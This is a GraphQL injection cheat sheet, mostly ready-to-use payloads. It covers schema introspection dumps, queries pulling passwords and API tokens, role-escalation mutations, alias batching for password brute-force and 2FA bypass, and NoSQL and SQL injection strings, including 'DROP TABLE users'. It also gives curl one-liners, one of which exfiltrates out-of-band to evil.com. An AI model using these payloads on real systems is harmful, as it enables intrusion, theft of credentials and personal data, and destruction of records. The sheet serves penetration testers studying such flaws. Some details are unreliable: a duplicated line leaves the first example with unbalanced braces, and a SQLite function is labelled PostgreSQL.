GraphQL Injection

Introduction to GraphQL Injection

GraphQL Injection happens when an attacker manipulates queries to gain unauthorized access to data or perform restricted actions. Since GraphQL allows users to request specific data, a poorly secured API can be tricked into exposing sensitive information, overloading the system, or even modifying and deleting records. This usually happens when input validation and access controls are weak, letting attackers craft complex queries to extract more data than they should.

Example Let's say there's an API where users can request their own account details:

{
user(id: "123") {
user(id: "123") {
name
email
password
}
}

This query should only return data for the authenticated user. However, if the API doesn’t check permissions properly, an attacker could modify the query to access all users. Exploiting GraphQL Injection:

{
users {
id
name
email
password
}
}

If the API lacks proper access control, it might return all user details, including emails and hashed passwords.

Enumeration

GraphQL enumeration involves discovering the API structure, including available queries, mutations, and fields, to identify potential attack vectors.

Common GraphQL Endpoints

Most of the time, GraphQL is located at the /graphql or /graphiql endpoint. A more complete list is available at danielmiessler/SecLists/graphql.txt

/v1/explorer
/v1/graphiql
/graph
/graphql
/graphql/console/
/graphql.php
/graphiql
/graphiql.php
/graphql/v1
/graphql/v2
/graphql/api
/graphql/query

Identify an Injection Point

GraphQL injection points can be identified by sending malformed or test queries and observing the response for errors or unintended data leaks.

Basic Injection Tests

These queries help in identifying whether GraphQL allows introspection and basic enumeration.

example.com/graphql?query={__schema{types{name}}}
example.com/graphiql?query={__schema{types{name}}}
example.com/graphql?query={__typename}
example.com/graphql?query={__type(name:"User"){name,fields{name}}}

Check if errors are visible

Testing for verbose error messages can help attackers gain insights into the schema structure.

?query={__schema}
?query={}
?query={thisdefinitelydoesnotexist}
?query={__typename}

Enumerate Database Schema via Introspection

GraphQL introspection allows fetching detailed schema information, including object types, queries, and fields. If enabled, an attacker can use this to map out the entire API.

URL encoded query to dump the database schema The following query extracts the complete schema structure using introspection.

fragment+FullType+on+__Type+{++kind++name++description++fields(includeDeprecated%3a+true)+{++++name++++description++++args+{++++++...InputValue++++}++++type+{++++++...TypeRef++++}++++isDeprecated++++deprecationReason++}++inputFields+{++++...InputValue++}++interfaces+{++++...TypeRef++}++enumValues(includeDeprecated%3a+true)+{++++name++++description++++isDeprecated++++deprecationReason++}++possibleTypes+{++++...TypeRef++}}fragment+InputValue+on+__InputValue+{++name++description++type+{++++...TypeRef++}++defaultValue}fragment+TypeRef+on+__Type+{++kind++name++ofType+{++++kind++++name++++ofType+{++++++kind++++++name++++++ofType+{++++++++kind++++++++name++++++++ofType+{++++++++++kind++++++++++name++++++++++ofType+{++++++++++++kind++++++++++++name++++++++++++ofType+{++++++++++++++kind++++++++++++++name++++++++++++++ofType+{++++++++++++++++kind++++++++++++++++name++++++++++++++}++++++++++++}++++++++++}++++++++}++++++}++++}++}}query+IntrospectionQuery+{++__schema+{++++queryType+{++++++name++++}++++mutationType+{++++++name++++}++++types+{++++++...FullType++++}++++directives+{++++++name++++++description++++++locations++++++args+{++++++++...InputValue++++++}++++}++}}

Extract User Data

This query attempts to retrieve sensitive user information such as IDs, usernames, emails, and passwords.

query {
users {
id
username
email
password
}
}

Retrieve Admin Info

Fetching admin-related data can be useful in privilege escalation attacks.

query {
adminUsers {
id
username
email
}
}

Bypass Authentication

Some GraphQL implementations allow querying user details, including tokens, which can be exploited to bypass authentication.

query {
user(id: "1") {
token
}
}

Mass Data Extraction

Using introspection, an attacker can dump the entire GraphQL schema to understand the database structure better.

query {
__schema {
types {
name
fields {
name
type {
name
}
}
}
}
}

Overloading the Server with Nested Queries

GraphQL allows deeply nested queries, which can be abused to cause excessive resource consumption.

query overload {
user {
friends {
friends {
friends {
friends {
id
name
}
}
}
}
}
}

Database Schema Enumeration

URL Decoded Query to Dump the Database Schema

fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}
fragment InputValue on __InputValue {
name
description
type {
...TypeRef
}
defaultValue
}
fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}
}
}
}
}
query IntrospectionQuery {
__schema {
queryType {
name
}
mutationType {
name
}
types {
...FullType
}
directives {
name
description
locations
args {
...InputValue
}
}
}
}

Single Line Queries to Dump the Database Schema Without Fragments

{
__schema {
queryType { name }
mutationType { name }
subscriptionType { name }
types {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
name
description
type {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
defaultValue
}
type {
kind
name
ofType {
kind
name
}
}
isDeprecated
deprecationReason
}
inputFields {
name
description
type {
kind
name
ofType {
kind
name
}
}
defaultValue
}
interfaces {
kind
name
ofType {
kind
name
}
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
kind
name
ofType {
kind
name
}
}
}
directives {
name
description
locations
args {
name
description
type {
kind
name
ofType {
kind
name
}
}
defaultValue
}
}
}
}

Enumerate Database Schema via Suggestions

When you use an unknown keyword, the GraphQL backend will respond with a suggestion related to its schema.

{
"message": "Cannot query field \"one\" on type \"Query\". Did you mean \"node\"?"
}

Retrieve All Available Queries

{
__schema {
queryType {
fields {
name
}
}
}
}

Retrieve All Available Mutations

{
__schema {
mutationType {
fields {
name
}
}
}
}

Extract All Available Subscriptions

{
__schema {
subscriptionType {
fields {
name
}
}
}
}

List All Object Types

{
__schema {
types {
kind
name
}
}
}

Dump Enum Values

{
__schema {
types {
name
enumValues {
name
}
}
}
}

Find Sensitive Fields (User, Password, Token, Email)

{
__type(name: "User") {
fields {
name
type {
name
kind
}
}
}
}

Check for Admin Privileges via Boolean Response

{
me {
isAdmin
}
}

Dump Data from a Specific Table

Replace TableName with an actual table from the schema.

{
TableName {
id
name
email
password
}
}

Access API Tokens from User Table

{
users {
id
username
email
apiToken
}
}

Exploiting Input Validation Bypass

GraphQL may not properly validate input types, allowing for injection attacks.
mutation {
login(input: { username: "admin' --", password: "password" }) {
token
}
}

Modify User Permissions via Mutation

mutation {
updateUser(id: "1", role: "admin") {
id
role
}
}

If the GraphQL schema is not directly accessible, you can attempt to enumerate known keywords, field names, and type names by leveraging wordlists such as Escape-Technologies/graphql-wordlist for brute-force discovery.

Enumerate Types Definition

Enumerate the definition of interesting types using the following GraphQL query, replacing "User" with the chosen type

{
__type (name: "User") {
name
fields {
name
type {
name
kind
ofType {
name
kind
}
}
}
}
}
{
__schema {
types {
name
kind
}
}
}
{
__type(name:"Query") {
name
fields {
name
type {
name
kind
}
}
}
}

List Path to Reach a Type

$ git clone https://gitlab.com/dee-see/graphql-path-enum
$ graphql-path-enum -i ./test_data/h1_introspection.json -t Skill

Found 27+ ways to reach the "Skill" node from the "Query" node:

  • Query (assignable_teams) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
  • Query (me) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
  • Query (pentest) -> Pentest (lead_pentester) -> Pentester (user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
  • Query (pentests) -> Pentest (lead_pentester) -> Pentester (user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
  • Query (query) -> Query (assignable_teams) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
{
__type(name:"Mutation") {
name
fields {
name
type {
name
kind
}
}
}
}

Methodology

Extract Data

example.com/graphql?query={TYPE_1{FIELD_1,FIELD_2}}

Extract Data Using Edges/Nodes

{
"query": "query {
teams {
total_count,
edges {
node {
id, _id, about, handle, state
}
}
}
}"
}

Extract Data Using Projections

Don’t forget to escape the " inside the options.

{
doctors(options: "{\"patients.ssn\" :1}") {
firstName
lastName
id
patients {
ssn
}
}
}
{
"query": "query {
users {
edges {
node {
username
email
createdAt
}
}
}
}"
}

Mutations

Mutations work like functions. You can use them to interact with GraphQL.

mutation {
signIn(login: "Admin", password: "secretp@ssw0rd") {
token
}
}
mutation {
addUser(id: "1", name: "Dan Abramov", email: "dan@dan.com") {
id
name
email
}
}
mutation {
updateUser(id: "1", email: "updated@example.com") {
id
email
}
}
mutation {
resetPassword(email: "victim@example.com") {
success
}
}

GraphQL Batching Attacks

  • Password Brute-force Amplification Scenario
  • Rate Limit Bypass
  • 2FA Bypassing

JSON List-Based Batching

[
{
"query": "..."
},
{
"query": "..."
},
{
"query": "..."
}
]

Query Name-Based Batching

{
"query": "query { qname: Query { field1 } qname1: Query { field1 } }"
}

Send the same mutation several times using aliases

mutation {
login(pass: 1111, username: "bob")
second: login(pass: 2222, username: "bob")
third: login(pass: 3333, username: "bob")
fourth: login(pass: 4444, username: "bob")
}
mutation {
register(email: "test@example.com", password: "P@ssw0rd") {
success
}
second: register(email: "test2@example.com", password: "P@ssw0rd") {
success
}
}

Injections

SQL and NoSQL Injections are still possible since GraphQL is just a layer between the client and the database.

NoSQL Injection

Use $regex, $ne from inside a search parameter.

{
doctors(
options: "{\"limit\": 1, \"patients.ssn\" :1}",
search: "{ \"patients.ssn\": { \"$regex\": \".*\"}, \"lastName\":\"Admin\" }"
) {
firstName
lastName
id
patients {
ssn
}
}
}

SQL Injection

Send a single quote ' inside a GraphQL parameter to trigger SQL injection.

{
bacon(id: "1'") {
id
type
price
}
}
{
user(id: "1 OR '1'='1'") { id username email }
}
mutation {
deleteUser(id: "1; DROP TABLE users;") {
success
}
}

PostgreSQL-based payloads:

# Basic time delay (PostgreSQL)
curl -X POST "http://localhost:8080/graphql?embedded_submission_form_uuid=1';SELECT pg_sleep(30);--'"
# Extract database version
curl -X POST "http://localhost:8080/graphql?embedded_submission_form_uuid=1' UNION SELECT version();--"
# Enumerate tables
curl -X POST "http://localhost:8080/graphql?embedded_submission_form_uuid=1' UNION SELECT table_name FROM information_schema.tables WHERE table_schema='public';--"
# Out-of-band (OOB) exfiltration
curl -X POST "http://localhost:8080/graphql?embedded_submission_form_uuid=1' UNION SELECT load_extension('\\\\\\evil.com\\payload.dll');--"

SQL Server-based payloads

# Basic delay (SQL Server)
curl -X POST "http://localhost:8080/graphql?embedded_submission_form_uuid=1'; WAITFOR DELAY '00:00:30';--"
# Extract current user
curl -X POST "http://localhost:8080/graphql?embedded_submission_form_uuid=1' UNION SELECT SYSTEM_USER;--"
# Extract database name
curl -X POST "http://localhost:8080/graphql?embedded_submission_form_uuid=1' UNION SELECT DB_NAME();--"
# Blind SQL injection with conditional delay
curl -X POST "http://localhost:8080/graphql?embedded_submission_form_uuid=1' IF (1=1) WAITFOR DELAY '00:00:10';--"

Writeups

Labs

Reference

Security Best Practices and Documentation

Advanced GraphQL Attacks

Tools